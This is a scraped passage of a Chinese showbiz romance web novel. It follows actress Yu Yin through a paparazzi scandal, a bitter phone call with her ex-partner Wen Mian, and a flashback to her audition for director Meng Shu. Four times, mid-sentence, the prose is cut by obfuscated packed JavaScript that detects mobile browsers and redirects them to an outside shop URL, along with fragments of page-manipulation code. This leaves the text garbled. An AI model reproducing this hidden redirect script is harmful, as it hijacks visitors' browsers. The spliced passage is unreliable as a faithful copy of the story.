《春光错位[娱乐圈]》 7. R-7 不该 经过一小时的监控,几个平台的舆情已基本稳住。 陈生是孟竖的老搭档,又是圈里知名的制片人,他一发微博,立刻就有秦昼的粉丝跳出来解释,秦昼确实有为孟竖的电影作曲配乐,就是这部女一号是喻氤的《铁锈》。 ——也就是说并不是狗仔说的密会,而是电影主创的集体聚会!哥哥并没有和喻氤恋爱! 焦急得睡不着觉的昼粉们立刻振作精神,组织澄清控评,喻氤为数不多的粉丝站也行动起来,一系列操作下去,热度有所消减,看热闹的路人见是乌龙,两个当事人也不作回应,完全是行的正坐得宽的样子,于是骂一骂狗仔也就散了。 当然,也有人不信,抓着照片里明明是白天,谁会白天聚会喝酒不放,但终究难敌陈生所代表的圈中信誉力,粉丝更愿意相信自己希望相信的,这点声音很快被盖了过去。 至于那个要名不要钱把照片发出来的狗仔,也不需惧他,照片曝光几个小时,公关部已经把他查了出来,反正这波名气也给他赚到了,他非要不依不饶爆出照片拍摄的时间和地点,今后在这一行绝对讨不着什么好。 毕竟此举不但得罪了潮生及背后的闻家,也得罪了秦昼的经济公司耀皇娱乐,后者虽盘踞在香港,但旗下的大牌艺人如秦昼、谭嘉群之类活跃在内地的也不少,论资排辈,是国内老牌的娱乐公司。 干娱记的,本来和娱乐公司就是相依相伴亦敌亦友的关系,就像内娱默认不爆同一样,有的是心照不宣的规矩。 闻勉安静听完网上的情况,点头,“差不多了,收工吧。” 闻沥立马“哎”一声,高高兴兴朝加班的人喊:“辛苦啦,今天就到这,都早点回去睡觉,睡醒了下午再来上班。” 有人看看时间,发现已是后半夜,苦中作乐地互相道着圣诞节快乐,闻沥一听又大手一挥:洋节也是节,今晚的加班费双倍。公关部的几人稀稀拉拉的发出雀跃。 接下来就是商讨怎么送这三尊大神回去,秋秋瞅瞅闻勉,又瞄瞄秦昼,不敢发话。 楼下还有狗仔,从正门走会被尾随,暴露住宅地址就算了,重点是不能让人发现闻勉和秦昼在这里。 简单商讨后决定保险起见,闻勉去闻沥家住一晚,喻氤则光明正大地回家。 虽然不知道她的小区地址是怎么曝光的,但她的车之前为了引开狗仔从京郊开回公司,楼下的人“亲眼”看着她上去再没出来,这也是还有狗仔坚持不肯离去的原因。 “反正热度也下来了,让他们看着我回家才能安心。”喻氤说到。 秋秋见缝插针的补充:“我问了物业,小区附近的狗仔都拦在大门外边了,到时物业的人能帮开路。” 众人目光齐齐落到还没有交代的最后一人身上,秦昼烦躁地扒拉两下短发:“你们说那什么备用电梯……” 闻沥呛声:“没听我哥说吗?备用电梯被人发现了!不安全!” 秦昼也恼火地扬起嗓门:“那你说怎么办吧?!” “你不知道自己想?” 两人一说话就火药味爆裂,闻勉搭上闻沥的肩,动作很小地捏了捏他的后颈,闻沥立刻小鸭子似的熄了火。 “不如秦昼老师在潮生的休息室委屈一晚,等明早蹲守的人散去,阿沥再叫人送你回去,如何?” 闻勉话都没说完,秦昼锐利的眼风就朝他弹射而去,他们一人靠着桌子不羁盘坐,一人闲逸伫立,闻勉甚至对秦昼友善地笑了笑,看不出任何恶意,但在场的人恐怕都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15042175|162582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐隐察觉了二人间微妙的气氛。 除了闻沥。 闻沥甚至在他哥背后幸灾乐祸的得瑟:“嘿嘿,你不是喜欢赖在我这吗?那干脆在这过夜呗!” 秦昼没理会闻沥,冷着脸与闻勉对视着,就在大家都以为他又要发作时,秦昼突然松了口,爽快答应:“好啊,不就是过个夜么,打地铺?” 喻氤略感新奇,看他一眼,道:“休息室有沙发床和一次性床具。” “没关系,也不是真要睡,反正我写歌的时候经常通宵,能熬住,”秦昼向她走了两步,拉住她的手腕,低声下气地认错:“今天的事是我没注意,你别生气啊,喻氤。” 喻氤摇了摇头,她确实有话想对秦昼说,但不是现在,眼下让所有人尽快休息才是要紧事。 闻勉视线在两人交握的手上停留了两秒,移开眼,把秋秋叫过去说了什么,秋秋连声应是,之后小跑着没了身影。 直到要走的时候,喻氤找不到人,她才拖着一个纸箱哼哧哼哧出现。 纸箱里装着十几听热气腾腾的咖啡和几贴暖宝宝、一盒感冒药,秋秋兜开衣摆扇了扇汗,“闻勉哥可真心细,连狗仔都照顾到了,伸手不打笑脸人,拿了我们的东西就不能怪没新闻咯。” “不过他是怎么知道公司有这些东西的?我都不知道呢。” “一般都有吧,只是我们不常呆在公司用不上而已。” 喻氤没太在意,搭了把手,将纸箱搬上埃尔法的副驾驶,秋秋却突然自语:“可是他连应急的备用电梯都知道,这不神奇吗?” 喻氤一愣,确实,那台电梯从不对外开放,公司内部也显有人知,就连她这个潮生为数不多的艺人都是第一次使用,闻勉不该那么熟悉才对。 8. R-8 狠话 秋秋并不知道随口一句话在喻氤心中掀起怎样的巨浪,她坐上驾驶室,指了指埃尔法后面的公司勘景车,语气里有跃跃欲试的兴奋:“姐,你快上车,有我开路,你们一口气过去!” 喻氤思绪游离地上了车,朝后望去,闻沥的阿斯顿马丁紧跟在她的车后面,后座上的人靠着椅背,只能看见模糊的轮廓。尽管如此,还是给人一种沉稳心安的错觉,好像只要有他坐镇,万事万物都能顺利进行。 收回视线,喻氤对司机道:“走吧。” 埃尔法缓缓驶出大楼车库,惊醒了街边蹲守的狗仔们,有人打开车门探出头来。 秋秋一个左拐,宽大的商务车横停在马路中央,不偏不倚刚好截断了行道,她把物资纸箱抱出车窗,冲外面大喊了一声:“记者老师们辛苦了,咖啡拿去暖暖身子吧!” 睡眼惺忪的狗仔们认出她,飞快操起相机,不忘叫醒同伴,“诶!出来了出来了!” 就在秋秋吸引他们注意力的同时,两辆车悄悄驶出大楼,朝街道外疾驰而去。 大约开出两条街,没有车跟上来,阿斯顿马丁打了两下双闪,之后便在某个拐角与喻氤分道扬镳。 喻氤的车一路开回小区,这里的狗仔比公司楼下多,全都包裹厚实,缩头缩脑地围坐在小区正门的寒风里,一听到车响就条件反射的抬头。 有眼尖的指出这是记在潮生旗下的车牌号,所有人蜂拥而上。 七八个小区保安提前收到了消息,分开人群,将车子围在中间缓慢前行,一个个陌生的面孔拥挤推搡,高举地相机和手机几乎要砸到窗上,隔着密封的窗户听不清他们在问什么,只能看到这些记者的嘴巴不断张合,像一出滑稽的默剧。 回到家,身体的疲惫随着精神的松懈全然涌上,喻氤脱掉鞋子,光着脚走进客厅,价值不菲的羊绒大衣被随手扔在桌上,她走到阳台落地窗前拉开窗帘,大都市的流光溢彩洒如同赛博电影映照在窗户上。 这个房子是她从拍完《铁锈》后搬来的,有前车之鉴,特意选的高层,视野开阔,不用担心被拍到。 喻氤在没开灯的客厅里坐了一会儿,拨通了闻沥的电话。 闻沥倒是精神抖擞,以为喻氤打过去是为了报平安,大喇喇的说他和闻勉二十分钟前就安全到家,他甚至都洗完澡准备去床上躺着玩手机了。 喻氤心不在焉的回了个“嗯”,闻沥毫无所觉,又叭叭的说了一堆有的没的。 喻氤闭上眼睛,下定某种决心:“闻沥,你今天说要不是你哥拦着,秦昼根本没可能接近我是什么意思?” 电话那头戛然而止,整整五秒钟没有任何动静,连呼吸声都听不到。 喻氤看了看通话,没挂断。 “说话。” “我,我这么说了吗?” “别装傻。” “……哎哈哈,就是字面上的意思嘛。”闻沥见装傻充愣没用,开始打起哈哈。 喻氤心中升起一股烦躁,在地毯上来回踱步,换了个说法:“你是因为我才不喜欢秦昼,对吧?” “什么‘不喜欢’?我对那家伙是讨厌憎恶看不上!”提起秦昼闻沥就冒火,“一开始梁览找到我,说想要秦昼给《捡到猫》作曲,我当场就给他驳回了!不同意!找谁不好找那孙子?!” “结果梁览那个叛徒不知道从哪儿打听到你和秦昼认识,跑去找你做中间人,等我知道的时候你们颗粒度都对齐了,你知道我多生气吗?!我都要炸了!!” 他嗓门忒大,喻氤把手机拉远些,“那是工作。” “那也不是非秦昼不可啊!我就是替你憋屈!” “所以呢?”喻氤叹了口气,不想就秦昼的问题纠缠下去,“这些和闻勉有什么关系?” 闻沥又不吱声了。 喻氤把手机换了一边耳朵,耐着性子问:“闻沥,我们是朋友吗?” 电话那头闻沥噔噔噔跑起来,随即传来推拉门的声音,像是临时躲进了哪间房里,他捂着嘴小声说:“哎呀你别问了姐,我哥现在在我这儿,随时都会下来,我真不方便说。” “好,那这样,我问,你就回答我是或者不是。” “你就别为难我了。” “行不行?” “……行行行,别说是我透的底。”闻沥这才勉强答应。 喻氤停下脚步,缓了两秒才问:“我和潮生签约时,你再三保证潮生和闻勉不会有半点关系,是骗我的,后面开出的种种优渥条件也是为了让我签约,对吗?” 闻沥“嘶”的抽了一口凉气,嘀咕:“完球。” 那就是了。 尽管心里已经有答案,但喻氤的心还是一点点沉了下去,接下去的问题也基本不必再问了。 “闻勉才是潮生的实际掌舵手。” 闻沥跟秦昼干架都不怕,这会子功夫被问的冷汗直流:“……这么说也可以。” “最后一个问题,你老实告诉我,”喻氤摁住太阳穴,感觉脑袋里的神经开始隐隐抽动,这是开始她头疼的前兆,她甩了甩头,“你会和闻勉汇报我的隐私吗?” 这下闻沥真被吓到了,可他又不能违心的说没有,急得直卡壳:“姐姐姐,你先别生气啊。” 与此同时,一道带着水汽的声音顺着手机收音远远传了过来——“阿沥,这么晚在和谁通话?” 随后电话那头故障一般陷入死寂,再然后是靠近的脚步声,不出意料电话被闻勉接了过去。 他的嗓音一贯如山泉般清润,总是含着足够的耐心与沉静,此刻亦是如此。 “喻氤,”闻勉叫她的名字,显然已明了现在的情况,“我会给你解释,但现在太晚了,我们明天坐下来谈……” ——他甚至用的是喻氤敷衍秦昼的那套说辞,喻氤荒谬的想到。 她打断闻勉的安抚:“闻勉,你们兄弟俩把我当什么了?” “当初闻沥一而再再而三的找上我,说我们都是曾被人看不起的小人物,说看中我身上的韧劲,要和我一起在这个电影圈子里闯出一块地来。因为他这席话,我加入了潮生。” “不是没猜过是你在背后推波助澜,但我想不至于吧,你闻勉不至于这么轻贱我吧?”她说到这轻笑一声,“事实证明还真是啊,我说你自作多情,我也不逞多让,有够不自量力的。 那头闻勉的语气沉了下去,“喻氤,别这么说自己。” “你比我想的要厉害多了,我是不是该改口叫你大老板了?”喻氤仍在继续。 “闻沥是小老板,你是大老板,而我就是大老板的前情人,退役了,得一份优待,养在公司里,剧本随便挑,婚嫁恋爱一切自由,嗯,很划算的生意。” ——“喻氤!” 山泉在寒夜凝至冰点,变成了冷清的一池寒潭,闻勉生气了。 “不是吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15042176|162582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 闻勉顿了顿,放轻了声音,好像在无力喟叹:“是你说的分手。” “是我说的分手。”喻氤捏着手机的指尖用力泛白,她好像听到血管里血液逆行的声音,冷得她牙齿打颤。 她咬住舌尖,缓缓道:“我还说过,如果再面对你,我不确定自己会说出什么伤人的话来,你现在见识到了吗,闻勉。” 电话那头彻底陷入了沉默。良久,闻勉叫了她的小名:“氤氤,别再勉强自己说狠话了,我们之间不是一定要做到这个地步。” “我希望你能做你想做的事,希望你开心,如果伤害到你,不是我的本意。” 喻氤的头疼的更厉害了,因为闻勉说的对,她讨厌这个全身是刺、草木皆兵的自己。 她把电话挂了。 世界再次万籁俱寂。 落地窗外是凌晨三点的北京,布满昏黄街灯的高架桥如同河流盘旋在漆黑的写字楼群中,喻氤倏地转身冲向厨房。 屋里没开灯,她一脚踢到流理台圆滑的大理石壁上,剧痛从脚踝骨泛上来,她不管不顾,就着这股痛意从酒柜里掏出一瓶红酒,拔开木塞,对着瓶口咕咚咕咚灌下,直到嗓子眼又涩又腻,大半瓶红酒已下了肚。 红酒参杂之前喝的茅台,在胃里烧起来,好像这样就能烧掉一点她的狼狈,喻氤笑了一下,又一下,如果有人看到这一幕定会觉得毛骨悚然,但她醉了,也就不在乎自己在做什么。 她用手背蹭干净嘴角,翻出酒杯倒出剩下的酒,走到客厅书柜墙,那里有一个抽屉,收着她演过的所有戏的剧本,她翻出最底下的一本,厚厚的书册卷了页,背面残缺了一角,封页上只写着“铁锈”二字。 她和闻勉因为这部戏在一起,又因为这部戏分开。如果说演员拍一部戏就是经历一段人生,《铁锈》带给她的战栗至今刻印在身体里,有时她觉得李金银成为了一道附在她灵魂上的影子,说不清是谁成了谁的一部分。 她脱掉鞋,将自己缩进落地窗前的大摇椅,就着折痕翻开其中一页—— 92、街边,日,外 李金银路过商店,看见橱窗画报上的模特涂着红唇和艳丽的红指甲,她驻足良久,买下了一瓶红色指甲油。 93、出租屋,夜,内 只开一盏小灯的卧房,李金银坐在床边凃着大红色的指甲油,却怎么也涂不好,无意间将瓶子打翻在地,娄泽冲了进来,发现她正用手帕擦拭地板上的污渍,看见他后李金银藏起手指。 …… 里面的台词她闭着眼都能背出来。 为了这场戏,孟竖第一次在片场破口大骂:“自己来看看你们演的什么东西!你们是在热恋,不是要生离死别!不能演就别拍了!” 那是《铁锈》杀青倒计时的最后一个月,她几乎蜕了层皮,光是这一场就翻来覆去拍了无数遍,只可惜最后都湮灭在工作室的一场大火里,变成仅存于记忆和文本上的海市蜃楼。 喻氤伸出指尖,在红酒杯中沾了一下,深红色的液体浸润指甲,在指尖留下一抹淡淡的红色。 她脱力地靠向椅背,举起手自下而上地打量这抹红,窗外冷调的月光洒进来,折射在指尖的水泽上,流转间呈现出晶亮的斑点,像乌云密布的海面突然出现一片波光细碎的盐田。 喻氤想她是醉了,因为尼古丁无用,只有酒精能带她回到那个记忆的边缘,回到南海县城潮热而漫长的夏季。 9. P-1 机会 南方人总是很难理解北方人对春的期盼,一座四季分明的城市,萧索了整整四个月,树上终于开始抽芽,不刮沙尘的晴天里站在太阳下,人的心情就会变得很好。 孟竖的工作室建在四环边上,是一座占地面积很大的三层高黑色建筑。 秋秋停好车,探出窗外打量,感叹不愧是搞艺术的,工作室都这么前卫。 “要我陪你上去吗?”周湘难得没在车上办公,仔细听能听出她语气中藏着一丝紧张。 喻氤慢吞吞地拉上外套拉链,“不用,我马上出来。” “那好吧,你别紧张,别给自己太大压力。” 喻氤笑笑,拉开车门下了车,没走两步,听到秋秋喊她:“喻氤姐喻氤姐!” 一回头,小姑娘对她比了个加油的手势,“拿下孟竖的戏,咱们就一飞冲天啦!冲啊姐!” 喻氤摆摆手,转过身嘴角就落了下来,脚步沉重的迈进大门。 今天是周六,整座工作室静悄悄的,前台也没人站岗,喻氤松了口气,自己按照墙上的指引标往里走。 工作室内部装修走的是红黑配色,墙体和地面铺着黑胶,还做了曲折的隔断,通道两边垂着等墙高的纱布海报,全是孟竖导演的作品,视觉上十分震撼,走在其间仿佛置身影院。 顺着海报走,尽头是电梯间和宽敞的上下楼通道,角落放了两张固定的长木凳,喻氤没摁电梯,在木凳上坐了下来。 就这么呆坐了十分钟,她看了看时间,叹了口气,两手揣兜靠在墙壁上无聊地数天花板上的灯管,没数几根呢,楼梯上传来脚步声,就这么正正和低头下楼的人撞了个对眼。 来人四十来岁,穿半节卡其中裤,T恤下小肚子微鼓,喻氤认出是知名电影制作人陈生,忙起身微微颔首。 陈生看她在这坐着也是一愣,又看看停在一楼没有按下的电梯,大约以为她是紧张,自己偷躲起来做心理建设,于是和气地打了个招呼:“喻氤是吧,快上来,孟导在里面等你呢。” 喻氤放在兜里的手捏紧了,这跟她原本的计划不一样,她本想找个地方坐半小时然后出去告诉周湘她没被选上,现在既然被陈生发现了,她只能规矩站好,顺着陈生的意思,跟着上了楼。 陈生没有带她去寻常的试戏室,而是将她带到了一间类似剧本围读时用的房间,孟竖背着门口独自坐着写写画画,手边放着几摞大概是剧本的纸,一个眼镜袋和两支没有笔帽的黑色水性笔。 陈生敲敲半敞的门,孟竖回身,立刻锁定了喻氤,他真人和电视上没什么两样,高高瘦瘦,头发短贴着头皮,眼神炯亮,透出令人不适的犀利。 喻氤躬身问好,对方利落的让她就坐,喻氤挑了个不远不近的位置,期间孟竖目光始终凝在她身上。 陈生也挨着孟竖坐下,带着笑意寒暄:“突然联系你经纪人,吓了一跳吧?” 喻氤平声应道:“还好。” “那就好,你应该听说了,我们是想让你来试孟导的新戏,这个戏我们前后准备了两年,基本已全部准备完毕,唯一的问题就是一直找不到合适的女一号人选。” 和陈生的健谈相比,孟竖话很少,直接递过来一份人物小传。 喻氤一目十行,捕捉到纸上写的这个人物看起来要清纯无害,一眼就是乖乖女,她有些惊讶地抬头,“您不知道前一阵关于我的新闻吗?” 陈生露出并不意外的表情,“你是说你在《斩风破浪》的片场外抽烟被拍到的事吧。” 喻氤点头,《斩风破浪》是她参演的时代奋斗剧,上月刚播完,在此之前她已经近三年无戏可拍,早已淡出大众视线,想着片场附近人烟稀少也没有特别注意,等戏抽烟的时候被路人拍了下来发到某平台,她自己都不知道。 巧的是,那照片像素模糊,加上平台小众,用户几乎都是不关心娱乐圈的文艺青年,直到剧播出,有人根据片中的造型认出那是她,喻氤才被爆出私下抽烟,出道以来的小白花人设崩塌。 “据我了解,你应该也没有特意营造过什么人设,只不过你出道时第一部剧太火了,老孟,你也听过吧,就那个《夏歌》,16年大爆的校园剧。”陈生边说还边蛄蛹孟竖,非要孟竖沉着脸“嗯”一声才继续。 “就是因为那部剧太火,你后来演的也大都是楚楚可怜的类型,才会给观众留下同样的印象,这是你团队发展策略的问题。” 因为这段话,喻氤对陈生这个大制片印象很好,在约她来谈话前两人一定对她做了基础的了解,面对她演的那些粗制滥造的糖水网剧,陈生还能这么委婉客观,喻氤甚至有点感激。 孟竖则是毫不客气:“你连小传都没看完,就能推定这是个什么故事了?” 这话也不是没理,孟竖的戏怎么可能会有那么简单的角色? 喻氤一想就通,当即站起来诚恳地鞠躬道歉:“是我先入为主了。” 孟竖手中的笔往桌上一掷,皱着眉批评:“浮躁”。 喻氤垂下眼,她当然知道自己已经不知不觉被这个圈子同化了,孟竖骂的并没有什么不对,面色不改地自己坐下,她平静道:“很抱歉辜负了两位老师的厚望,我这次来不是来试这个角色的,我准备退圈了。” 这话一出,孟竖和陈生都转过来看她。 陈生回忆着早上才看过的资料,“哦,你和娱界的合约签了七年,明年就到期了是吧……” “你还这么年轻,很多人这个年纪才刚刚启程,你为什么不继续演?”孟竖刚松下来的眉头又紧紧挤在一起,他是真的不理解。 喻氤突然觉得和第一次见面的人说话也许比和相熟的人说话轻松,至少她不必拖着这个死气沉沉的身体装出一副“我很好”的样子。 她坦白:“我累了。” 孟竖怒极反笑:“你都没有真正演过戏,你就累了?” 喻氤并不因他的反应害怕,反而平淡的点头:“是,我没有真正演过戏,从离开电影学院到现在,我已经记不起那种因为演戏而获得成就感的滋味,我知道这个圈子里像我一样的演员不计其数,还有很多比我更默默无闻的人仍在坚持,我的痛苦跟他们比起来不值一提。” “但我真的累了,我找不到继续的理由。” 陈生大概是第一次遇到这种情况,哪个演员收到孟竖的试戏邀请不是踌躇满志,绞尽脑汁的想拿到一个角色,哪怕是个小角色,能在孟竖的片中出镜意味着省掉许多弯路,直接进入电影圈的资源中心,真有演技者,直接拿奖也不意外——闻勉不就是最好的例子吗? 他一改亲和,严肃道:“喻氤,你知不知道现在摆在你面前的是个什么样的机会?” 喻氤一点点抿紧了唇,沉默数秒,望向孟竖,“如果可以,我也想在还是一张白纸的时候遇到您这样的导演,但是现在的我有心无力,我已经不知道该怎么演了,就算来试戏您也不会满意的。” 两人哑然,半响说不出话来。 “虽然不知道您为什么会看上我,但您的戏,肯定不缺试戏者,您再找找其他人吧。”说完她就打算起身。 陈生出声阻拦,“哎,你先别急着走——” 孟竖这会儿也反应过来了,阴沉着脸,闷道:“没用,她眼睛里已经没有对电影的光了。” 陈生看一眼孟竖,突然急中生智:“《斩风破浪》是你背着公司自己去试戏的吧?” 喻氤动作一顿,很快又松懈下来,既然看过她的资料,知道这些也不稀奇。 “那部剧的导演和编剧我也认识,虽然名气不大,但都是肯耐下心来做好剧的人,年初《斩风破浪》能上星,除了许栩这个大花为了转型降筹出演之外,也是剧整体制作精良的缘故, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15042177|162582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”陈生条理清晰,越说越叹:“你单枪匹马去试戏,也是冲着好剧本去的吧?说明你还是不甘心嘛!” 见喻氤眼里浮现出一丝挣扎,陈生就道有戏:“你还不知道另一个主演是谁吧?” 他扬起嘴角,一下神采飞扬起来。 “是闻勉。” 喻氤死水般的面容终于有了变化,怔忪似的愣了一会儿神,等她再定神才后知后觉感到些不对来。 虽然孟竖侧身抱臂坐着,一副已经pass掉她不想搭理的架势,但陈生似乎极力劝说她来参加试戏,为什么?她把疑问提了出来。 陈生苦笑,“这部戏因为迟迟定不下女主角而搁置了小半年,不瞒你说,在看到你坐在路边抽烟的照片前,我们已经在商议扩大范围寻找素人。” 就因为一张照片? 喻氤错眼看向孟竖,对方却一个眼神也没分给她,重新拿起先前的那打纸张翻看起来。 被冷落在一旁的喻氤咬了咬唇心的死皮,要试试看吗?如果素人都可以,她是不是也有机会? 或许这是一个能令她死心的最好时机,如果连孟竖都无法打磨她,那她就真的是一颗顽石,不必再在演戏上浪费时间,以后想来也不会不甘心了。 踌躇许久后她终于松口:“我能看看剧本吗?” 理论上这种级别的项目剧本不是说给就能给的,但陈生见孟竖不发话,便做主同意了。 “您直接发给我的经纪人吧,别让我公司知道。” 虽然明面上没有消息传出她和公司娱界世纪之间有龃龉,但在圈里混了几十年,站在陈生这样的高位什么看不清?根据喻氤的资料稍一联想就有了底,他意会地点点头。 孟竖埋着头写写划划,不忘泼冷水:“别高兴的太早,只是让你来试戏,不是就定下你演了。” 喻氤这会儿对他的性子有了一定了解,与其说他刻薄不近人情,不如说他是怒其不争,老一辈顶尖的电影人对电影都有敬畏之心,想来是不能接受她这样轻易说放弃的做法。 她理解,有一说一:“是,您放心,我有自知之明。” 孟竖笔一顿,被噎得不轻。 陈生赶在他更生气前说今天就到这里吧,给时间让喻氤考虑。 喻氤向他鞠了一躬,保证无论最终决定如何都会保守剧本不外传,说完就把自己坐的椅子摆整齐,转身离开。 就在她出门前,孟竖开了口,语气板正悠长,“一个演员能捏成什么形状,是导演的事情,愿不愿意打碎骨头重新长,才是你们演员的事情。” 喻氤脚下停滞,最终没回过身去,径直出了门,走之前听见陈生控诉孟竖:“光是说服她来试戏就这么费劲,要是把人叫来了你又死活不满意,你就爱找谁找谁去吧……” 从孟竖的工作室回到家,喻氤留下一条“暂时别打扰我”的简讯,开始了为期72小时的断联。 第三天清早,秋秋抱着试一试的心态敲开了公寓的门,见到她眼底伏青脚步虚浮的状态,秋秋流汗:“姐,你不会从前天开始就没好好睡觉好好吃饭吧?” 喻氤没接茬,洗了把脸说,打给周湘:“剧本我看完了。” 周湘问:“怎么样?” 她只知道孟竖这部新戏是个文艺犯罪片,具体讲了什么却不清楚。 “有场床戏。” 周湘一听,语气软了一半:“这个我也是才听陈生说,但是具体尺度还不一定,毕竟国内的审查制度严格,实在不行还有替身……” 喻氤好笑:“你觉得依孟导的性格会同意演员用替身吗?” 周湘也知道说不通,但还是觉得机会太难得,“你真的不再考虑一下?” “嗯。” “行吧,我去帮你回绝。” “不,”喻氤喊住她,“湘姐,帮我安排试戏吧。” 10. P-2 橙子 喻氤既然肯演,周湘不免惊喜:“真的?” 一直守在旁边偷听的秋秋也兴奋得眉飞色舞,仿佛喻氤已经拿到这个角色,成为新一代“孟女郎”了。 喻氤忍不住笑了笑,“真的,但是试戏结果我也没把握,所以你们不要对我报太大希望。” “你行!你肯定行!”秋秋一拍脑门,赶紧把带来的粥盛出来,“快,喻氤姐,赶紧吃完早餐回房补个觉,这几天得把精气神补回来!全力备战试戏!” 她年纪小,喻氤不想打击她,开着免提边吃饭边和周湘聊具体的事宜,挂电话前,周湘突然想起来最关键的问题:“男一号是谁?” 喻氤捏着勺子搅了搅碗里的粥,“闻勉。” “咳咳咳咳——” 正在喝水的秋秋呛了一声,捂着嘴惊天般咳嗽起来。 周湘也失态地提高了音:“闻勉?他前年不是宣称暂时不接戏了吗?” 喻氤反倒是最镇定的一个,“我也不清楚,也许孟竖对他来说是例外吧。” 毕竟圈里人都知道,这两人算得上亦师亦友的关系。 秋秋咳得眼泪汪汪,哽咽:“姐,这泼天的富贵,你可要接住啊!咱们以后能不能吃香喝辣就看你了!” 富不富贵不知道,总之,准备了两周后,喻氤在周湘的陪同下通过了试戏。 试戏那天,现场除了孟竖和陈生外还多了几名孟竖团队的主创,不见闻勉踪影。 这对喻氤来说是预料外的好事,如果闻勉在,孟竖大概率会让他和自己搭戏,难度提升不是一星半点,没有闻勉,至少她可以在一定范围内自我发挥。 最后是编剧帮念闻勉的台词,给她搭了两场文戏。 因为知道自己几斤几两,所以等待结果的过程反倒不像以往那样煎熬,就像准备一场水准远超自己的大考,在考卷交上去的那一刻她就完成了她能做的一切。 孟竖那边也确实考虑了很久,将近一个星期才给答复。 接到电话的那天喻氤在家坐了一下午,对于自己即将出演孟竖电影的女主角这件事没有一点实感,但高兴还是高兴的,这意味着她在孟竖眼里还有“打碎骨头重头捏”的价值。 正如陈生说的,这个项目定下女一号后全速抬上了进程,之后的一个月,喻氤除了参加剧本围读和试妆外不再出门,将自己闷在家调整状态。 孟竖的这部新戏名叫《铁锈》,是一部文艺犯罪片,讲的是两个边缘少年在烂泥一样的人生里相依为命的故事。 编剧是孟竖的老班底,笔力老练,薄薄几十页纸张,看得喻氤久久喘不过气。 仿佛置身南方的海边,海风闷热咸湿,低矮的民房隔不住家长里短,阳台上挂着滴水的内衣裤,和那个充斥着汗水和铁锈味的少年。 这是喻氤从业以来遇到的最有挑战性的剧本,也是她第一次加入如此高规格的影人阵容。早有耳闻孟竖对作品极其严格,她让秋秋帮忙收集了网络上所有边缘少年犯罪的资料,又找了很多失孤儿童的心理研究和纪录片,想要以此作为参考。 然而随着开机的日期渐近,种种压力还是与日俱增。 一个月很快过去,剧组发来通知,这次的主要拍摄地在南方的一个沿海县城,而她和另一位主演闻勉要先在省会停留几天,将这里的几场戏拍完再到县城与其他人汇合。 开机前一天北京下了暴雨,飞机晚点六个小时,她和秋秋抵达省会酒店的时候已经晚上九点多,找孟竖报了到就赶紧收拾修整。 晚饭吃的是剧组给她们留的快餐,对于连续两周清汤寡水减脂的喻氤来说,口味有点咸,到了临睡前干得人烧心。 明天一早要上戏,喝水断然是不能的,否则起床势必水肿,想了半天,喻氤决定出门找前台要点冰块润喉。 整间酒店被剧组包了场,加上大部队在县城,所以房间很余裕,她住的十层及上下两层都没有人,走在走廊里听不见一点动静。 酒店客房层的灯光调得很暗,过道两边镶嵌着光线舒适的地灯和筒灯,门牌号也不是贴在门上,而是做成一块木牌高高挂在墙壁,用一个个小巧的壁灯点亮,令人感到安全和惫懒。 电梯无声跳着楼层,缓缓停在十楼,“叮”的一声,锃亮的电梯门应声敞开,露出一个高挑的身影。 来人穿着黑色运动服,手里握了瓶水,姿态随意的站着,露在衣服外的小臂覆着一层薄汗,像是刚刚运动完。感受到身前有人,他抬起头,微湿的额发下眉眼深邃俊雅,是闻勉。 这还是喻氤进组以来第一次见到他。 剧组组织的两次围读都正好赶上戛纳电影节,闻勉作为主竞赛单元评审团的评委,没有赶得回来——这是他第二次受欧洲三大电影节的邀请出任评委,行程忙碌。 当然,为表尊重,他有在围读时打来电话问候其他主创们,当时现场人多,喻氤也只是跟他打了个招呼,并未有太多交流。 此时骤然碰上,喻氤还有些紧张。 好在圈里混了这么多年,基本的礼数都刻进了骨子里,喻氤率先打招呼:“闻勉老师好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15042178|162582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 闻勉认出她,态度随和地问:“这么晚了还没休息?” 